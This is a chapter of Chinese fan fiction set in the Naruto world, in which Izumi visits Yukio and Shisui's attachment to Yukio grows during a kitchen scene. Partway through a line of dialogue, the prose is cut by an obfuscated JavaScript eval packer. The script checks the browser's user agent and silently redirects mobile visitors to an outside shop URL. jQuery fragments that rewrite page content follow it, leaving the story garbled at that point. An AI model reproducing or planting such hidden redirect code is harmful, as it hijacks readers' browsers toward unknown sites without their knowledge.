泉进门的时候，手里提着一兜橘子，说是她妈妈让带来的。


    橘子在纸袋里挤成一团，金黄色的果皮在冬天的阳光下泛着油亮亮的光。雪绪接过来，让她在走廊上坐着，自己去泡茶。


    泉坐在那里，双腿盘着，看着院子里的雪。


    院子里的雪已经积了厚厚一层，白得晃眼。水缸上盖着木板，木板上压着一块石头。


    扫帚靠在墙角，旁边的雪堆成一个小山，是止水前几天扫的。屋檐下挂着几根冰凌，在阳光下闪着细碎的光。


    “听说止水哥受伤了？”泉问。她的声音很轻，像是在说一件很严重的事情。


    雪绪端着茶出来，差点没端稳。茶杯在托盘上晃了一下，茶水溅出来一点，落在托盘上，洇出一个小小的水渍。


    “你也听说了？”她把托盘放在茶几上，在泉旁边坐下。她的表情很平静，但语气里有一丝无奈。


    泉点点头。她接过茶杯，捧在手心里，暖着手。“训练场那边都在传。说止水哥执行任务受了重伤，你在家照顾他，好几天没出门。”


    她顿了顿，喝了一口茶。


    “美琴阿姨也很担心，让我过来看看。她本来想自己来的，但家里有事走不开。”


    雪绪把茶放在她面前，在她旁边坐下。她拿起一个橘子，慢慢剥着。橘皮被剥开的时候，那股清香立刻散开来，在冬天的冷空气里格外好闻。


    “他嘴唇裂了。”她说。


    泉眨眨眼。“就这？”


    “就这。”


    泉沉默了一会儿。她看着雪绪，又看了看院子里的雪，然后笑了。那笑容从嘴角开始，慢慢变大，最后整个人都在抖，笑得差点把茶杯打翻。


    “传得也太离谱了。”她擦着眼角笑出来的泪说。


    雪绪端起自己的茶，喝了一口。茶很烫，她吹了吹，又喝了一口。


    “下次他再嘴唇裂，我就让他自己涂药。免得又传出什么‘命悬一线’的谣言。”


    泉笑得更厉害了。笑完，她想起什么，从口袋里掏出一张皱巴巴的传单，展开铺在茶几上。


    “对了，下周学校有活动，你要不要来？”


    “什么活动？”雪绪凑过去看。传单上印着花花绿绿的字，写着“木叶忍者学校冬日义卖会”，下面是一长串活动安排。


    “冬日的义卖会。每个班都要出节目，我们班做点心。我负责做饼干。”


    泉的眼睛亮亮的，带着一种小孩子特有的兴奋。


    “你来了我请你吃。我做的饼干可好吃了，同学们都说好。”


    雪绪想了想。医院最近不忙，野原薰说过可以调休。下周请一天假应该没问题。


    “行。那天我请假。”


    泉高兴了。她的高兴是藏不住的，整个人都在发光。


    她又跟雪绪聊了一会儿学校的事，说谁谁谁又闯祸了——谁谁谁又考了第一名——谁谁谁在操场上摔了一跤，裤子破了两个洞，哭着跑回家。


    雪绪听着，偶尔笑一下，偶尔问一句。


    泉走的时候，在门口停下来。她转过身，看着雪绪，欲言又止。


    “雪绪。”


    “嗯？”


    “你有没有觉得，止水哥最近变得更黏你了？”泉的声音很轻，轻得像怕被谁听见。


    雪绪愣了一下。“有吗？”


    泉看着她，眼神里有一点复杂的情绪。那种情绪很淡，淡得像冬天早晨窗户上的雾气，轻轻一碰就散了。


    “有。”泉说，声音还是那么轻，“以前他对你好，是那种哥哥对妹妹的好。会帮你做饭，会陪你说话，会在你生病的时候照顾你。现在——”


    她顿了顿。风吹过来，把她的围巾吹得飘起来。她伸手按住围巾，看着雪绪，没有把话说完。


    “算了，可能我想多了。”


    她挥挥手，转身走了。她的背影在巷子里越来越小，最后变成一个模糊的点，消失在街角。围巾在风里飘了一下，然后也不见了。


    雪绪站在门口，想了很久。


    风从巷子里吹过来，凉凉的，带着冬天特有的干燥气息。远处有人在扫雪，扫帚碰到石板路的声音一下一下的，很有节奏。


    更黏了吗？


    她靠在门框上，认真想了想。


    好像有一点。


    以前他回来，会在走廊上坐着，等她做饭。她切菜的时候他在看书，她煮汤的时候他在喝茶，她喊“吃饭了”他就过来，吃完又说“我走了”。各做各的事，互不打扰。


    现在他回来，会先找到她。她在厨房他就站在厨房门口，她在院子里他就站在走廊上，她在房间里他就敲门。他看看她在干什么，然后在她旁边待着。不说话，就是待着。


    以前他看她，是看一眼就移开。像确认她还在、她没事、她好好的，然后就可以安心去做自己的事了。


    现在他看她，是看着，一直看着。看着的时间越来越长，长到她都觉得不对劲了，抬头问他“看什么”，他才移开。


    以前他抱她，是轻轻抱一下就松开。像小时候那样，抱一下，拍拍她的背，说“我走了”，然后就走了。


    现在他抱她，是抱着，不松手。手臂环着她的肩膀，下巴搁在她头顶，有时候抱很久，久到她都觉得奇怪了，推推他的胸口说“哥，你干嘛”，他才松开。松开的时候还有点不情愿，手指在她肩上多停了一秒才放开。


    她没觉得有什么不对。


    他是她哥哥，从小就这样。只是方式变了一点而已。


    只是变了一点。


    ---


    某天晚上，止水回来的时候，雪绪正在厨房里做饭。


    灶台上的锅咕嘟咕嘟地冒着泡，味噌的香味混着青花鱼的鲜味弥漫在整个厨房里。


    她站在灶台前，手里拿着长筷子，小心地翻着锅里的鱼块。鱼皮在汤汁里慢慢变成焦黄色，边缘微微卷起来，油光闪亮。


    她听见脚步声，知道他回来了。没有回头，只是说了一声“回来了”。


    “嗯。”他在玄关应了一声，换鞋的声音传过来。


    脚步声从玄关移过来，越来越近。她以为他会像平时一样直接去走廊上坐着等饭，或者去换衣服。但他没有。脚步声停在她身后。


    很近。近得她能感觉到他的存在。


    那种存在不是声音，不是气味，是某种更模糊的、更本能的东西。像背后多了一堵墙，把她围在一个很小的空间里。


    “做什么？”他问。声音从她头顶传下来，很近，近得她能从声音里听出他喉咙的震动。


    “味噌煮青花鱼。”


    他站在她身后，没有走开。


    厨房本来就不大，灶台、水槽、碗柜，三个人转身都困难。他站在那里，空间就更小了。


    她能感觉到他的体温，隔着衣服传过来，暖暖的。不是那种烤火的热，是人体自然散发出来的、持续的、带着他气息的温度。


    她能闻见他身上的味道——冷风、雪水、还有一点点汗味，是执行任务后还没来得及洗澡的味道。


    “你站远点。”她头也不回地说，把筷子伸进锅里，夹起一块鱼翻了翻。“挤。”


    他没动。他的影子投在她面前的灶台上，把锅盖的影子都遮住了。她能从影子的形状看出他双手抱胸的姿势——肩膀的轮廓宽宽的，手臂的线条弯成一道弧。


    “我帮你看着火。”他说。


    “火不用看。你出去坐着。”


    还是没动。她能感觉到他的目光落在她后脑勺上，沉甸甸的，像一只看不见的手轻轻按着她的头。


    她不知道他在看什么——她的头发？她的脖子？她的肩膀？她翻鱼的动作？还是什么都不看，就是站在那里？


    雪绪叹了口气，回头看他。


    他站在那里，脸上带着那种她越来越熟悉的、温柔的笑。他的眼睛在厨房的灯光下显得格外亮，瞳孔里映着灶台的火光，一闪一闪的。


    “哥，你今天怎么了？”


    “没怎么。”


    “那你为什么一直跟着我？”她的语气有点无奈，但嘴角微微翘着。


    止水想了想。那个思考的时间比以前长了，像是在认真思考一个很重要的问题。


    “不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373840|198580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道。就是想跟着。”


    她转回头，继续做饭。


    “行吧。那你帮忙递盐。”


    他伸手把盐罐递过来。盐罐放在灶台右边的架子上，他伸手越过她的肩膀去拿，手臂从她耳边擦过去。


    这个动作让他离她更近了，近到他的胸口几乎贴着她的后背。她能感觉到他呼吸时胸腔的起伏，一下一下的，很稳。


    他递盐罐的时候，手指碰到她的。她的手指凉凉的，沾着水，指尖有一点鱼腥味。他的手指是暖的，干燥的，指腹上有薄薄的茧。


    碰到的那一下，两个人都没有缩回去。


    就那么碰着。她的手指搭在盐罐的一边，他的手指搭在另一边。


    盐罐安安静静地躺在他们手心里，白瓷的表面在灯光下泛着柔和的光。像两根树枝搭在一起，轻轻地靠着，谁也不先移开。


    一秒。两秒。三秒。


    她抽回手，继续做饭。动作很自然，像是只是拿了个盐罐。


    他站在她身后，看着她忙碌的背影。


    看了很久。久到雪绪自己都觉得不对劲了。锅里的鱼在煮，汤在滚，她手里的筷子在翻，但他的目光像一团温热的火，烤着她的后脑勺，烤得她脖子后面那一小片皮肤都开始发烫。


    她回头瞪他一眼。


    “你到底在看什么？”


    他笑了。那笑容很轻，很淡，但很真。


    “看你。”


    “看我干什么？又不是没见过。”


    “见是见过。但每次看都不一样。”


    雪绪愣了一下。手里的筷子停在半空，汤汁从筷尖滴下来，落在灶台上，洇出一个小小的圆点。


    “哪里不一样？”她问。


    他想了想。那个思考的样子很认真。


    “说不上来。就是不一样。”


    她看着他那张认真的脸，看着他那双在灯光下格外亮的眼睛，看着他那道认真的、又有点笨拙的竖纹，不知道该说什么。


    晚上，他们吃饭的时候，外面下起了雪。


    雪花细细的，轻轻的，从黑沉沉的天空飘下来，在灯光下闪着细碎的光。


    它们落在院子里，落在屋顶上，落在水缸的木板上，安安静静的，一点声音都没有。像一群白色的飞蛾，在夜色里慢慢地飞，慢慢地落。


    “又下雪了。”雪绪看着窗外。她的筷子停在半空，夹着一块青花鱼，鱼肉白嫩嫩的，冒着热气。


    止水也看着窗外。“嗯。”


    “今年雪好多。”


    “嗯。”


    她转头看他。“你怎么什么都嗯？”


    他想了想。“因为你说的都对。”


    “哥，你是不是又在暗部学了什么奇怪的东西？”


    “什么奇怪的东西？”他的表情很无辜。


    “就是那种——”她比划了一下，筷子在空中画了一个圈，汤汁差点甩到他脸上，“说话特别好听的技能。”


    止水笑了。那笑容从嘴角开始，慢慢蔓延到整个脸上，在灯光下显得格外温柔。


    “没有。暗部不教这个。”


    “那你怎么变得这么会说话？”


    他想了想。这次想的比刚才久，像是在认真回忆自己是什么时候学会的。


    “可能是被你传染的。”


    雪绪沉默了很久。她低头喝了一口汤，又吃了一口饭，嚼了嚼，咽下去。然后她抬起头，看着他。


    “行吧，这个理由我接受。”


    止水看着她，嘴角翘起来。他端起碗，继续吃饭。筷子夹菜的动作比刚才快了一些，像是放下了什么心事。


    两人继续吃饭。


    雪越下越大。从刚才细细碎碎的小雪变成密密麻麻的大片雪花，像有人在天上撕棉花，一团一团的往下扔。


    院子里的雪越积越厚，把石板路都盖住了，只剩一片白茫茫的。屋檐下的冰凌又长了一截，在灯光下闪着冷冷的银光。


    青蛙们在水缸里睡着，什么都不知道。它们缩在缸底的淤泥里，挤成一团，盖着厚厚的木板，听着外面的风声和雪声，做着关于春天的梦。